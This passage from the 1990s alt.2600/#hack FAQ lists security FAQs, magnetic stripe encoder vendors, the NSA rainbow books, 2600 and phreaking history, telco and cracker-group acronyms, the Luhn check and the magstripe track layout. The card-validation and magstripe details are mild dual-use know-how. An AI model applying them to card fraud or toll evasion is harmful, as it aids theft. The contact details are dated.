Author: Mr. Sandman (an132432@anon.penet.fi)

VMS FAQ (Frequently Ask Questions)
Author: The Beaver (beaver@upperdck.blkbox.com)

Anonymous FTP FAQ
Author: Christopher Klaus <cklaus@iss.net> of Internet Security Systems, Inc.
ftp: ftp.iss.net   /pub/faq/anonftp

Compromise FAQ: What if your Machines are Compromised by an Intruder
Author: Christopher Klaus <cklaus@iss.net> of Internet Security Systems, Inc.
ftp: ftp.iss.net   /pub/faq/compromise

Security Patches FAQ
Author: Christopher Klaus <cklaus@iss.net> of Internet Security Systems, Inc.
ftp: ftp.iss.net   /pub/faq/patch

Sniffer FAQ
Author: Christopher Klaus <cklaus@iss.net> of Internet Security Systems, Inc.
ftp: ftp.iss.net   /pub/faq/sniff

Vendor Security Contacts: Reporting Vulnerabilities and Obtaining New Patches
Author: Christopher Klaus <cklaus@iss.net> of Internet Security Systems, Inc.
ftp: ftp.iss.net   /pub/faq/vendor

Cryptography FAQ
Author: The Crypt Cabal
ftp: rtfm.mit.edu /pub/usenet-by-group/sci.crypt/

Firewalls FAQ
Author: Marcus J. Ranum (mjr@ss1.lightspeed.net)
ftp: rtfm.mit.edu /pub/usenet-by-group/comp.security.misc/

Buying a Used Scanner Radio
Author: parnass@att.com (Bob Parnass, AJ9S)
ftp: rtfm.mit.edu /pub/usenet-by-group/rec.radio.scanner/

How to Find Scanner Frequencies
Author: parnass@att.com (Bob Parnass, AJ9S)
ftp: rtfm.mit.edu /pub/usenet-by-group/rec.radio.scanner/

Introduction to Scanning
Author: parnass@att.com (Bob Parnass, AJ9S)
ftp: rtfm.mit.edu /pub/usenet-by-group/rec.radio.scanner/

Low Power Broadcasting FAQ
Author: Rick Harrison.
ftp: rtfm.mit.edu /pub/usenet-by-group/alt.radio.pirate/

RSA Cryptography Today FAQ
Author: Paul Fahn
ftp: rtfm.mit.edu /pub/usenet-by-group/sci.crypt/

VIRUS-L comp.virus Frequently Asked Questions (FAQ)
Author: Kenneth R. van Wyk <krvw@cert.org>
ftp: rtfm.mit.edu /pub/usenet-by-group/comp.virus/

Where to get the latest PGP (Pretty Good Privacy) FAQ
Author: mpj@csn.net (Michael Johnson)
ftp: rtfm.mit.edu /pub/usenet-by-group/alt.security.pgp/

alt.locksmithing answers to Frequently Asked Questions (FAQ)
Author: spike@indra.com (Joe Ilacqua)
ftp: rtfm.mit.edu /pub/usenet-by-group/alt.locksmithing/

comp.os.netware.security FAQ
Author: Fauzan Mirza <F.U.Mirza@sheffield.ac.uk>
ftp: rtfm.mit.edu /pub/usenet-by-group/comp.os.netware.security/

rec.pyrotechnics FAQ
Author: zoz@cs.adelaide.edu.au (Hans Josef Wagemueller)
ftp: rtfm.mit.edu /pub/usenet-by-group/rec.pyrotechnics/

17. Where can I purchase a magnetic stripe encoder/decoder?

CPU Advance
PO Box 2434
Harwood Station
Littleton, MA 01460
(508)624-4819 (Fax)

Omron Electronics, Inc.
One East Commerce Drive
Schaumburg, IL 60173
(800)556-6766 (Voice)
(708)843-7787 (Fax)

Security Photo Corporation
1051 Commonwealth Avenue
Boston, MA 02215
(800)533-1162 (Voice)
(617)783-3200 (Voice)
(617)783-1966 (Voice)

Timeline Inc,
23605 Telo Avenue
Torrence, CA 90505
(800)872-8878 (Voice)
(800)223-9977 (Voice)

Alltronics
2300 Zanker Road
San Jose CA 95131
(408) 943-9774 Voice
(408) 943-9776 Fax
(408) 943-0622 BBS
Part Number: 92U067

Atalla Corp
San Jose, CA
(408) 435-8850

18. What are the rainbow books and how can I get them?

Orange Book
DoD 5200.28-STD
Department of Defense Trusted Computer System Evaluation Criteria

Green Book
CSC-STD-002-85
Department of Defense Password Management Guideline

Yellow Book
CSC-STD-003-85
Computer Security Requirements -- Guidance for Applying the Department of Defense Trusted Computer System Evaluation Criteria in Specific Environments

Yellow Book
CSC-STD-004-85
Technical Rationale Behind CSC-STD-003-85: Computer Security Requirements. Guidance for Applying the Department of Defense Trusted Computer System Evaluation Criteria in Specific Environments.

Tan Book
NCSC-TG-001
A Guide to Understanding Audit in Trusted Systems

Bright Blue Book
NCSC-TG-002
Trusted Product Evaluation - A Guide for Vendors

Neon Orange Book
NCSC-TG-003
A Guide to Understanding Discretionary Access Control in Trusted Systems

Teal Green Book
NCSC-TG-004
Glossary of Computer Security Terms

Red Book
NCSC-TG-005
Trusted Network Interpretation of the Trusted Computer System Evaluation Criteria

Orange Book
NCSC-TG-006
A Guide to Understanding Configuration Management in Trusted Systems

Burgundy Book
NCSC-TG-007
A Guide to Understanding Design Documentation in Trusted Systems

Dark Lavender Book
NCSC-TG-008
A Guide to Understanding Trusted Distribution in Trusted Systems

Venice Blue Book
NCSC-TG-009

Computer Security Subsystem Interpretation of the Trusted Computer System Evaluation Criteria

Aqua Book
NCSC-TG-010
A Guide to Understanding Security Modeling in Trusted Systems

Dark Red Book
NCSC-TG-011
Trusted Network Interpretation Environments Guideline -- Guidance for Applying the Trusted Network Interpretation

Pink Book
NCSC-TG-013
Rating Maintenance Phase -- Program Document

Purple Book
NCSC-TG-014
Guidelines for Formal Verification Systems

Brown Book
NCSC-TG-015
A Guide to Understanding Trusted Facility Management

Yellow-Green Book
NCSC-TG-016
Guidelines for Writing Trusted Facility Manuals

Light Blue
NCSC-TG-017
A Guide to Understanding Identification and Authentication in Trusted Systems

Light Blue Book
NCSC-TG-018
A Guide to Understanding Object Reuse in Trusted Systems

Blue Book
NCSC-TG-019
Trusted Product Evaluation Questionnaire

Gray Book
NCSC-TG-020A
Trusted Unix Working Group (TRUSIX) Rationale for Selecting Access Control List Features for the Unix System

Lavender Book
NCSC-TG-021
Trusted Data Base Management System Interpretation of the Trusted Computer System Evaluation Criteria

Yellow Book
NCSC-TG-022
A Guide to Understanding Trusted Recovery in Trusted Systems

Bright Orange Book
NCSC-TG-023
A Guide to Understandng Security Testing and Test Documentation in Trusted Systems

Purple Book
NCSC-TG-024 (Volume 1/4)
A Guide to Procurement of Trusted Systems: An Introduction to Procurement Initiators on Computer Security Requirements

Purple Book
NCSC-TG-024 (Volume 2/4)
A Guide to Procurement of Trusted Systems: Language for RFP Specifications and Statements of Work - An Aid to Procurement Initiators

Purple Book
NCSC-TG-024 (Volume 3/4)
A Guide to Procurement of Trusted Systems: Computer Security Contract Data Requirements List and Data Item Description Tutorial

+Purple Book
+NCSC-TG-024 (Volume 4/4)
+A Guide to Procurement of Trusted Systems: How to Evaluate a Bidder's
+Proposal Document - An Aid to Procurement Initiators and Contractors

Green Book
NCSC-TG-025
A Guide to Understanding Data Remanence in Automated Information Systems

Hot Peach Book
NCSC-TG-026
A Guide to Writing the Security Features User's Guide for Trusted Systems

Turquiose Book
NCSC-TG-027
A Guide to Understanding Information System Security Officer Responsibilities for Automated Information Systems

Violet Book
NCSC-TG-028
Assessing Controlled Access Protection

Blue Book
NCSC-TG-029
Introduction to Certification and Accreditation

Light Pink Book
NCSC-TG-030
A Guide to Understanding Covert Channel Analysis of Trusted Systems

C1 Technical Report-001
Computer Viruses: Prevention, Detection, and Treatment

*C Technical Report 79-91
*Integrity in Automated Information Systems

*C Technical Report 39-92
*The Design and Evaluation of INFOSEC systems: The Computer Security
*Contributions to the Composition Discussion

NTISSAM COMPUSEC/1-87
Advisory Memorandum on Office Automation Security Guideline

--

You can get your own free copy of any or all of the books by writing or calling:

INFOSEC Awareness Division
ATTN: X711/IAOC
Fort George G. Meade, MD 20755-6000

Barbara Keller
(410) 766-8729

If you ask to be put on the mailing list, you'll get a copy of each new book as it comes out (typically a couple a year).

[* == I have not personally seen this book]
[+ == I have not personally seen this book, and I believe it may not]
[be available]

Section E: 2600
~~~~~~~~~~~~~~~

01. What is alt.2600?

Alt.2600 is a Usenet newsgroup for discussion of material relating to 2600 Magazine, the hacker quarterly.   It is NOT for the Atari 2600 game machine. Len@netsys.com created the group on Emmanuel Goldstein's recommendation. Emmanuel is the editor/publisher of 2600 Magazine. Following the barrage of postings about the Atari machine to alt.2600, an alt.atari.2600 was created to divert all of the atari traffic from alt.2600. Atari 2600 people are advised to hie over to rec.games.video.classic.

02. What does "2600" mean?

2600Hz was a tone that was used by early phone phreaks (or phreakers) in the 80's, and some currently. If the tone was sent down the line at the proper time, one could get away with all sorts of fun stuff.

A note from Emmanuel Goldstein:

"The Atari 2600 has NOTHING to do with blue boxes or telephones or the 2600 hertz tone. The 2600 hertz tone was simply the first step towards exploring the network. If you were successful at getting a toll call to drop, then billing would stop at that point but there would be billing for the number already dialed up until the point of seizure. 800 numbers and long distance information were both free in the past and records of who called what were either non-existent or very obscure with regards to these numbers. This, naturally, made them more popular than numbers that showed up on a bill, even if it was only for a minute. Today, many 800 numbers go overseas, which provides a quick and free way into another country's phone system which may be more open for exploration."

03. Are there on-line versions of 2600 available?

No.

04. I can't find 2600 at any bookstores. What can I do?

Subscribe. Or, let 2600 know via the subscription address that you think 2600 should be in the bookstore. Be sure to include the bookstores name and address.
~~~~~~~~~~~~~~~

05. Why does 2600 cost more to subscribe to than to buy at a newsstand?

A note from Emmanuel Goldstein:

> We've been selling 2600 at the same newsstand price ($4) since 1988 and we hope to keep it at that price for as long as we can get away with it. At the same time, $21 is about the right price to cover subscriber costs, including postage and record keeping, etc. People who subscribe don't have to worry about finding an issue someplace, they tend to get issues several weeks before the newsstands get them, and they can take out free ads in the 2600 Marketplace.
>
> This is not uncommon in the publishing industry. The NY Times, for example, costs $156.50 at the newsstands, and $234.75 delivered to your door.

Section F: Miscellaneous

01. What does XXX stand for?

TLA	Three Letter Acronym
ACL	Access Control List
PIN	Personal Identification Number
TCB	Trusted Computing Base
ALRU	Automatic Line Record Update
AN	Associated Number
ARSB	Automated Repair Service Bureau
ATH	Abbreviated Trouble History
BOC	Bell Operating Company
BOR	Basic Output Report
BOSS	Business Office Servicing System
CA	Cable
COE	Central Office Equipment
COSMOS	Computer System for Main Frame Operations
CMC	Construction Maintenance Center
CNID	Calling Number IDentification
CO	Central Office
COCOT	Customer Owned Coin Operated Telephone
CRSAB	Centralized Repair Service Answering Bureau
DID	Direct Inbound Dialing
DDD	Direct Distance Dialing
ECC	Enter Cable Change
LD	Long Distance
LMOS	Loop Maintenance Operations System
MLT	Mechanized Loop Testing
NPA	Numbering Plan Area
PBX	Private Branch Exchange
POTS	Plain Old Telephone Service
RBOC	Regional Bell Operating Company
RSB	Repair Service Bureau
SS	Special Service
TAS	Telephone Answering Service
TH	Trouble History
TREAT	Trouble Report Evaluation and Analysis Tool
LOD	Legion of Doom
HFC	Hell Fire Club
TNO	The New Order

ACiD	Ansi Creators in Demand
CCi	Cybercrime International
FLT	Fairlight
iCE	Insane Creators Enterprise
iNC	International Network of Crackers
NTA	The Nocturnal Trading Alliance
PDX	Paradox
PE	Public Enemy
PSY	Psychose
QTX	Quartex
RZR	Razor (1911)
S!P	Supr!se Productions
TDT	The Dream Team
THG	The Humble Guys
THP	The Hill People
TRSI	Tristar Red Sector Inc.
UUDW	Union of United Death Workers

02. How do I determine if I have a valid credit card number?

Credit cards use the Luhn Check Digit Algorithm. The main purpose of this algorithm is to catch data entry errors, but it does double duty here as a weak security tool.

For a card with an even number of digits, double every odd numbered digit and subtract 9 if the product is greater than 9. Add up all the even digits as well as the doubled-odd digits, and the result must be a multiple of 10 or it's not a valid card. If the card has an odd number of digits, perform the same addition doubling the even numbered digits instead.

03. What is the layout of data on magnetic stripe cards?

A standard card may have any of three tracks, or a combination of these tracks.

Track 1 was the first track standardized. It was developed by the International Air Transportation Association (IATA) and is still reserved for their use. It is 210bpi with room for 79 characters. It includes the primary account number (up to 18 digits) and the name (up to 26 alphanumeric characters).

Track 2 was developed by the American Bankers Association (ABA) for on-line financial transactions. It is 75bpi with room for 40 numeric characters. It includes the account number (up to 19 digits).

Track 3 is also used for financial transactions. The difference is its read/write ability. It is 210bpi with room for 107 numeric digits. It includes an enciphered PIN, country code, currency units, amount authorized, subsidiary account information and other restrictions.

For more information, read the ANSI/ISO 7811/1-5 standard. This document is available from the American Bankers Association.

04. What are the ethics of hacking?

An excerpt from: Hackers: Heroes of the Computer Revolution
by Steven Levy

> Access to computers -- and anything which might teach you

something about the way the world works -- should be unlimited and total. Always yield to the Hands-On imperative.

All information should be free.

Mistrust Authority. Promote Decentralization.

Hackers should be judged by their hacking, not bogus criteria such as degrees, age, race, or position.

You can create art and beauty on a computer.

Computers can change your life for the better.

05. Where can I get a copy of the alt.2600/#hack FAQ?

Get it on FTP at:

```
rahul.net      /pub/lps/sysadmin/
rtfm.mit.edu   /pub/usenet-by-group/alt.2600
clark.net      /pub/jcase/
```

Get it on the World Wide Web at:
http://www.engin.umich.edu/~jgotts/underground/hack-faq.html

Get it on my BBS:
Hacker's Haven (303)343-4053

EOT